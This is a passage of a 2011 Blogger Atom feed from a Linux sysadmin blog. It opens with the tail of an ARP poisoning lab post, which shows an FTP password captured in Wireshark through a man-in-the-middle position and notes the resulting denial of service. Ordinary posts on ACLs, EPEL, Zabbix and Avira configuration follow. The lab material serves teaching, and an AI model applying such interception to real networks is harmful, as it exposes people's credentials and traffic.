2.3.2)&lt;br /&gt;Name (192.168.1.11:javi): javi&lt;br /&gt;331 Please specify the password.&lt;br /&gt;Password:&lt;br /&gt;230 Login successful.&lt;br /&gt;Remote system type is UNIX.&lt;br /&gt;Using binary mode to transfer files.&lt;br /&gt;ftp&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we are going to open the captured file through Wireshark. As you can &lt;span class="short_text" id="result_box" lang="en"&gt;&lt;span class="hps"&gt;distinguish, the password has been catched.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-_1qLysu5nwY/Tqhjn60vGfI/AAAAAAAAAm8/3yUmm0Ca45I/s1600/ARP+poisoning+%2528II%2529.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="306" src="http://1.bp.blogspot.com/-_1qLysu5nwY/Tqhjn60vGfI/AAAAAAAAAm8/3yUmm0Ca45I/s400/ARP+poisoning+%2528II%2529.jpeg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;In addition, if you follow the TCP stream, you will be able to find out that there are several retransmissions. That occurs because the &lt;i&gt;attacker&lt;/i&gt; has to forward the TCP/IP packets. This sequence would come out as well if you run tcpdump on &lt;i&gt;ubuntu-server&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;And finally, also mention that if IP forwarding was not activated, we would be causing a &lt;b&gt;Denial of Service&lt;/b&gt; attack (DoS), due to the communication would be cut out.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-5095487425233956867?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/5095487425233956867/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/10/arp-poisoning-i.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/5095487425233956867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/5095487425233956867'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/10/arp-poisoning-i.html' title='ARP poisoning (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-S58ETGvjmcg/Tqha1E_m0HI/AAAAAAAAAm0/20E9bzs5K1E/s72-c/ARP+poisoning+%2528I%2529.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-1829410028368368136</id><published>2011-10-19T17:34:00.001+02:00</published><updated>2011-11-01T20:49:00.816+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><title type='text'>Access Control Lists (II)</title><content type='html'>In the preceding article about &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/10/access-control-lists-i.html"&gt;Access Control List&lt;/a&gt;, we saw how to grant permissions either on a file or directory for a particular user, and in addition, how to set those ones for new elements by default.&lt;br /&gt;&lt;br /&gt;Now, we are going to give permissions to the nobody group and other users. Note that when you are applying ACLs for other users, it is like when you are handling the chmod command.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos logs]# setfacl -m g:nobody:-w- 002.log&lt;br /&gt;&lt;br /&gt;[root@centos logs]# setfacl -m o:rw- 002.log&lt;br /&gt;&lt;br /&gt;[root@centos logs]# getfacl 002.log &lt;br /&gt;# file: 002.log&lt;br /&gt;# owner: root&lt;br /&gt;# group: root&lt;br /&gt;user::rw-&lt;br /&gt;user:nobody:r-x&lt;br /&gt;group::---&lt;br /&gt;group:nobody:-w-&lt;br /&gt;mask::rwx&lt;br /&gt;other::rw-&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In order to remove ACLs, we may delete them for a specific user, clear all entries or only get rid of the default ACLs.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos logs]# setfacl -x g:nobody 002.log&lt;br /&gt;&lt;br /&gt;[root@centos /]# setfacl -R -b /logs&lt;br /&gt;&lt;br /&gt;[root@centos /]# setfacl -k /logs&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Other handy option for ACLs is to associate a mask with an ACL, that is to  say, to establish real or effective permissions on a file or directory.  In this case, we are limiting the permissions available on a file or  directory. For instance, in the following case we are setting read, write and  execution permissions for nobody user, but afterwards, we are also applying a  mask of just execution.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos logs]# setfacl -m u:nobody:rwx 002.log&lt;br /&gt;&lt;br /&gt;[root@centos logs]# setfacl -m m:--x 002.log&lt;br /&gt;&lt;br /&gt;[root@centos logs]# getfacl 002.log&lt;br /&gt;# file: 002.log&lt;br /&gt;# owner: root&lt;br /&gt;# group: root&lt;br /&gt;user::rw-&lt;br /&gt;user:nobody:rwx                 #effective:--x&lt;br /&gt;group::---&lt;br /&gt;mask::--x&lt;br /&gt;other::rw-&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-1829410028368368136?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/1829410028368368136/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/10/access-control-lists-ii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1829410028368368136'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1829410028368368136'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/10/access-control-lists-ii.html' title='Access Control Lists (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-9036907645309419877</id><published>2011-10-13T13:48:00.001+02:00</published><updated>2011-11-01T20:55:27.803+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><title type='text'>Extra Packages for Enterprise Linux (EPEL)</title><content type='html'>Today I am going to fill you in on &lt;a href="https://fedoraproject.org/wiki/EPEL"&gt;EPEL&lt;/a&gt;, a repository maintained by a Fedora group (made up by Red Hat engineers, volunteer community members, etc.) which offers a set of additional packages for Enterprise Linux distributions, such as RHEL, CentOS, Scientific Linux and so on.&lt;br /&gt;&lt;br /&gt;For instance, when you purchase a license for RHEL, Red Hat guarantees you support for a series of packages included within its repositories, but other many applications are not provided through them.&lt;br /&gt;&lt;br /&gt;Thereby, you have got several options to install packages not located into the official repositories, such as grabbing them from &lt;a href="http://rpm.pbone.net/"&gt;RPM PBone&lt;/a&gt;. But another smart option is to set up on your machine, an EPEL repository, whereby you will have high quality add-on packages which will complement your system.&lt;br /&gt;&lt;br /&gt;EPEL packages are built from the equivalent ones in Fedora project and they are updated as far as  the corresponding RHEL release is supported.&lt;br /&gt;&lt;br /&gt;There are EPEL repositories for &lt;a href="http://download.fedoraproject.org/pub/epel/4/i386/epel-release-4-10.noarch.rpm"&gt;RHEL4&lt;/a&gt;, &lt;a href="http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm"&gt;RHEL5&lt;/a&gt; and &lt;a href="http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-5.noarch.rpm"&gt;RHEL6&lt;/a&gt; (they are too valid for their derived). For my tests, I am going to use a CentOS 6.0 distro where I will install the appropiate 'epel-release' package. By default, only the stable EPEL repository is enabled. Later, you might enable testing and not yet considered stable repositories (&lt;span class="short_text" id="result_box" lang="en"&gt;&lt;span class="hps"&gt;I don't recommend&lt;/span&gt;&lt;/span&gt; it).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# rpm -ivh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-5.noarch.rpm&lt;br /&gt;&lt;br /&gt;[root@centos ~]# ls -l /etc/yum.repos.d/epel*&lt;br /&gt;-rw-r--r--. 1 root root  957 oct 12  2010 /etc/yum.repos.d/epel.repo&lt;br /&gt;-rw-r--r--. 1 root root 1056 oct 12  2010 /etc/yum.repos.d/epel-testing.repo&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;How can we check out if a package comes from EPEL?&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# yum install keychecker&lt;br /&gt;&lt;br /&gt;[root@centos ~]# keychecker httpd&lt;br /&gt;&lt;b&gt;CentOS-6 Key&lt;/b&gt; (CentOS 6 Official Signing Key)&lt;br /&gt;--------------------------------------------&lt;br /&gt;httpd-2.2.15-5.el6.centos.i686&lt;br /&gt;&lt;br /&gt;[root@centos ~]# keychecker keychecker&lt;br /&gt;&lt;b&gt;EPEL (6)&lt;/b&gt;&lt;br /&gt;--------&lt;br /&gt;keychecker-0.2-2.el6.noarch&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Other way is by using yum.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# yum info htop&lt;br /&gt;...&lt;br /&gt;Repo       : &lt;b&gt;epel&lt;/b&gt;&lt;br /&gt;Summary    : Interactive process viewer&lt;br /&gt;...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-9036907645309419877?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/9036907645309419877/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/10/extra-packages-for-enterprise-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/9036907645309419877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/9036907645309419877'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/10/extra-packages-for-enterprise-linux.html' title='Extra Packages for Enterprise Linux (EPEL)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-5613275224544728287</id><published>2011-10-04T18:21:00.001+02:00</published><updated>2011-11-01T21:00:21.139+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><title type='text'>Access Control Lists (I)</title><content type='html'>One month ago I had to publish the log files of one application at work. The log directory had to be accessible by the development team (they use Windows). Also say that the application runs on CentOS 6.0&lt;br /&gt;&lt;br /&gt;No problem. I shared the directory through Samba and granted access to the guest user (on Linux, this is translated to the nobody user).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# cat /etc/samba/smb.conf &lt;br /&gt;[global]&lt;br /&gt;        security      = user&lt;br /&gt;        map to guest  = bad user&lt;br /&gt;        guest account = nobody&lt;br /&gt;&lt;br /&gt;[logs]&lt;br /&gt;        path     = /logs&lt;br /&gt;        readonly = yes&lt;br /&gt;        guest ok = yes&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Later I was warned that certain files could not be read. By taking a look at it, I could see that some files were been created with wrong permissions.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# ls -l /logs/&lt;br /&gt;total 6148&lt;br /&gt;-rw-------. 1 root root 4730880 oct  4 11:37 001.log&lt;br /&gt;-rw-------. 1 root root 1564672 oct  4 11:37 002.log&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;As you can appreciate, the files just could be read by the owner, in this case root. This was the second problem: the application ran as root and of course, I could not allow access by means of this user.&lt;br /&gt;&lt;br /&gt;We opened a ticket to the support center, in order to find out if it were possible to force the program to create the log files with other permissions. The response was fantastic: set up a cron task so as to change them periodically. As I usually say... a real botched.&lt;br /&gt;&lt;br /&gt;Fortunately, Linux is a great operating system which if you know it in depth, you will be able to solve problems in different ways.&lt;br /&gt;&lt;br /&gt;I sized up the situation and I decided that the best option was to set an ACL (Access Control List). With ACLs, you can give selected users, read, write and execute permissions on a specific file or directory.&lt;br /&gt;&lt;br /&gt;First up, you need to have configured the target filesystem with the acl option.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# mount -o remount,acl /&lt;br /&gt;&lt;br /&gt;[root@centos ~]# cat /etc/fstab&lt;br /&gt;/dev/mapper/vg_centos-lv_root   /       ext4    defaults,acl    1 1&lt;br /&gt;...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Then, you must grant the nobody user, read and execute permissions on all elements of the directory and besides, new files or directories created within it, will also have this ACL by default.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# setfacl -R -m u:nobody:r-x /logs&lt;br /&gt;&lt;br /&gt;[root@centos ~]# setfacl -d -R -m u:nobody:r-x /logs&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In this manner, when a user logs on via Samba (guest user), will be able to read the files. Let's get now the full permissions from any of the files included into the logs directory.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# getfacl /logs/001.log&lt;br /&gt;# file: logs/001.log&lt;br /&gt;# owner: root&lt;br /&gt;# group: root&lt;br /&gt;user::rw-&lt;br /&gt;user:nobody:r-x&lt;br /&gt;group::---&lt;br /&gt;mask::r-x&lt;br /&gt;other::---&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;As you can see above, apart from root, the nobody user can also read the file.&lt;br /&gt;&lt;br /&gt;It may seem incredible but ACLs are not well known. I have seen throughout my professional life, authentic disasters by applying permissions on files, &lt;span class="short_text" id="result_box" lang="en"&gt;&lt;span class="hps"&gt;mainly due&lt;/span&gt; &lt;span class="hps"&gt;to ignorance of the&lt;/span&gt; &lt;span class="hps"&gt;administrators.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="short_text" id="result_box" lang="en"&gt;&lt;span class="hps"&gt;And as you have been able to learn, ACLs are an elegant way to handle the file permissions. Next week I will end up this article with other stuff that you can perform with ACLs.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="short_text" id="result_box" lang="en"&gt;&lt;span class="hps"&gt; &lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-5613275224544728287?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/5613275224544728287/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/10/access-control-lists-i.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/5613275224544728287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/5613275224544728287'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/10/access-control-lists-i.html' title='Access Control Lists (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-2461932808517549533</id><published>2011-09-28T21:35:00.002+02:00</published><updated>2011-11-01T21:02:59.849+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Monitoring'/><title type='text'>Zabbix client installation on Ubuntu</title><content type='html'>Through this article, I wanted to write down how to set up the Zabbix client from its source code on Ubuntu distributions.&amp;nbsp;Some time ago I posted a similar article but utilizing a &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/07/instalacion-del-cliente-zabbix-partir.html"&gt;CentOS host&lt;/a&gt;. For this case, I am going to accomplish the same task but choosing an Ubuntu Server 11.04 and Zabbix 1.8.7.&lt;br /&gt;&lt;br /&gt;First of all, we need to download the source code from the&amp;nbsp;&lt;a href="http://www.zabbix.com/download.php"&gt;Zabbix web site&lt;/a&gt; and decompress it inside the server. We must have installed too the &lt;i&gt;build-essential&lt;/i&gt; package, so as to be able to compile the Zabbix client.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# aptitude install build-essential&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/zabbix-1.8.7# ./configure --enable-agent&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/zabbix-1.8.7# make ; make install&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Once we have correctly compiled and installed the Zabbix agent, next step is to create the appropiate directories, copy the configuration files and add a new user to the system called&amp;nbsp;&lt;i&gt;zabbix&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/zabbix-1.8.7# mkdir -p /etc/zabbix/alert.d /var/log/zabbix /var/run/zabbix&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/zabbix-1.8.7# cp -a misc/conf/zabbix_agentd.conf /etc/zabbix/&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/zabbix-1.8.7# cp misc/init.d/ubuntu/zabbix-agent.conf /etc/init/&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/zabbix-1.8.7# useradd -r -d /var/run/zabbix -s /sbin/nologin zabbix&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/zabbix-1.8.7# chown zabbix:zabbix /var/run/zabbix /var/log/zabbix&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Afterwards, we must edit the minimum information required for the Zabbix agent configuration file and in addition, it is also neccesary to establish an &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/03/booting-system-with-upstart-i.html"&gt;Upstart&lt;/a&gt; file for starting up and stopping the Zabbix agent service.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/zabbix/zabbix_agentd.conf&lt;br /&gt;...&lt;br /&gt;# Zabbix client PID file&lt;br /&gt;PidFile=/var/run/zabbix/zabbix_agentd.pid&lt;br /&gt;&lt;br /&gt;# Zabbix client log file&lt;br /&gt;LogFile=/var/log/zabbix/zabbix_agentd.log&lt;br /&gt;&lt;br /&gt;# Allow remote commands from zabbix server&lt;br /&gt;EnableRemoteCommands=1&lt;br /&gt;&lt;br /&gt;# Maximum time for processing&lt;br /&gt;Timeout=10&lt;br /&gt;&lt;br /&gt;# System hostname&lt;br /&gt;Hostname=ubuntu&lt;br /&gt;&lt;br /&gt;# Zabbix server IP&lt;br /&gt;Server=192.168.1.100&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# cat /etc/init/zabbix-agent.conf&lt;br /&gt;# Start zabbix agent&lt;br /&gt;&lt;br /&gt;pre-start script&lt;br /&gt;   if [ ! -d /var/run/zabbix ]; then&lt;br /&gt;           mkdir -p /var/run/zabbix&lt;br /&gt;           chown zabbix:zabbix /var/run/zabbix&lt;br /&gt;   fi&lt;br /&gt;end script&lt;br /&gt;&lt;br /&gt;start on filesystem&lt;br /&gt;stop on starting shutdown&lt;br /&gt;respawn&lt;br /&gt;expect daemon&lt;br /&gt;exec /usr/local/sbin/zabbix_agentd&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The last point is to register the ports used by Zabbix into the services file and run the agent.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# echo "zabbix-agent    10050/tcp  Zabbix Agent"   &amp;gt;&amp;gt; /etc/services&lt;br /&gt;root@ubuntu-server:~# echo "zabbix-agent    10050/udp  Zabbix Agent"   &amp;gt;&amp;gt; /etc/services&lt;br /&gt;root@ubuntu-server:~# echo "zabbix-trapper  10051/tcp  Zabbix Trapper" &amp;gt;&amp;gt; /etc/services&lt;br /&gt;root@ubuntu-server:~# echo "zabbix-trapper  10051/udp  Zabbix Trapper" &amp;gt;&amp;gt; /etc/services&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# start zabbix-agent&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-2461932808517549533?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/2461932808517549533/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/09/zabbix-client-installation-on-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2461932808517549533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2461932808517549533'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/09/zabbix-client-installation-on-ubuntu.html' title='Zabbix client installation on Ubuntu'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-3006112403055220624</id><published>2011-09-21T12:36:00.001+02:00</published><updated>2011-11-01T21:05:35.969+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Avira AntiVir Personal on Linux (IV)</title><content type='html'>With this post, I am going to end up the series of articles about &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/09/avira-antivir-personal-on-linux-iii.html"&gt;Avira Antivir Personal on Linux&lt;/a&gt;. So, let's take a look at one of its more important modules: AntiVir Guard.&lt;br /&gt;&lt;br /&gt;AntiVir Guard takes care of scanning and protecting a filesystem on real-time, that is to say, a virus will be detected before accessing on it. How does it work? All directories which we want to protect by AntiVir Guard, will be mounted through DazukoFS module, previously compiled and inserted into the kernel.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# cat /etc/fstab&lt;br /&gt;...&lt;br /&gt;/home    /home    dazukofs &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;AntiVir Guard (avguard) can be handled either by means of the avguard command or as an init daemon. In this article, I am going to focus on the second option, since it's most useful and handy.&lt;br /&gt;&lt;br /&gt;Thereby, we have to set it up by editing its configuration file (&lt;i&gt;/etc/avira/avguard.conf&lt;/i&gt;). Below I am going to note the most important features.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# vi /etc/avira/avguard.conf&lt;br /&gt;...&lt;br /&gt;# It will try to delete the problem from the infected file (by default is disabled).&lt;br /&gt;# If the repair fails, the AlertAction is carried out.&lt;br /&gt;RepairConcerningFiles&lt;br /&gt;&lt;br /&gt;# Once a virus is detected, the access to the file is blocked and the action is logged.&lt;br /&gt;# This allows you to specify an additional action to be followed for the concerning file.&lt;br /&gt;# none or ignore: no further action (by default).&lt;br /&gt;# rename or ren: rename the file by adding the .XXX extension.&lt;br /&gt;# delete or del: delete the concerning file.&lt;br /&gt;# quarantine: move the concerning file into quarantine.&lt;br /&gt;AlertAction delete&lt;br /&gt;&lt;br /&gt;# If quarantine option is selected, the infected files are moved into it.&lt;br /&gt;QuarantineDirectory /home/quarantine&lt;br /&gt;&lt;br /&gt;# Types of files to be scanned.&lt;br /&gt;# extlist: scan only files with certain extensions.&lt;br /&gt;# smart: scan files based on both their name and content.&lt;br /&gt;# all: scan all files (by default).&lt;br /&gt;ScanMode all&lt;br /&gt;&lt;br /&gt;# File where all important operations are logged.&lt;br /&gt;LogFile /var/log/avguard.log&lt;br /&gt;&lt;br /&gt;# Detection of harmful or unwanted software (dial-up programs, jokes, faked emails, etc.).&lt;br /&gt;# With the 'alltypes' option, all supported malware types will be detected.&lt;br /&gt;DetectPrefixes adspy=yes appl=no bdc=yes dial=yes game=no joke=no pck=no phish=yes spr=no&lt;br /&gt;&lt;br /&gt;# Activate the heuristics for macro virus in office documents.&lt;br /&gt;# [yes (by default) | no].&lt;br /&gt;HeuristicsMacro yes&lt;br /&gt;&lt;br /&gt;# Set the level of heuristic detection in all types of files.&lt;br /&gt;# Available values are 0 (off), 1 (low - by default), 2 (medium) and 3 (high).&lt;br /&gt;HeuristicsLevel 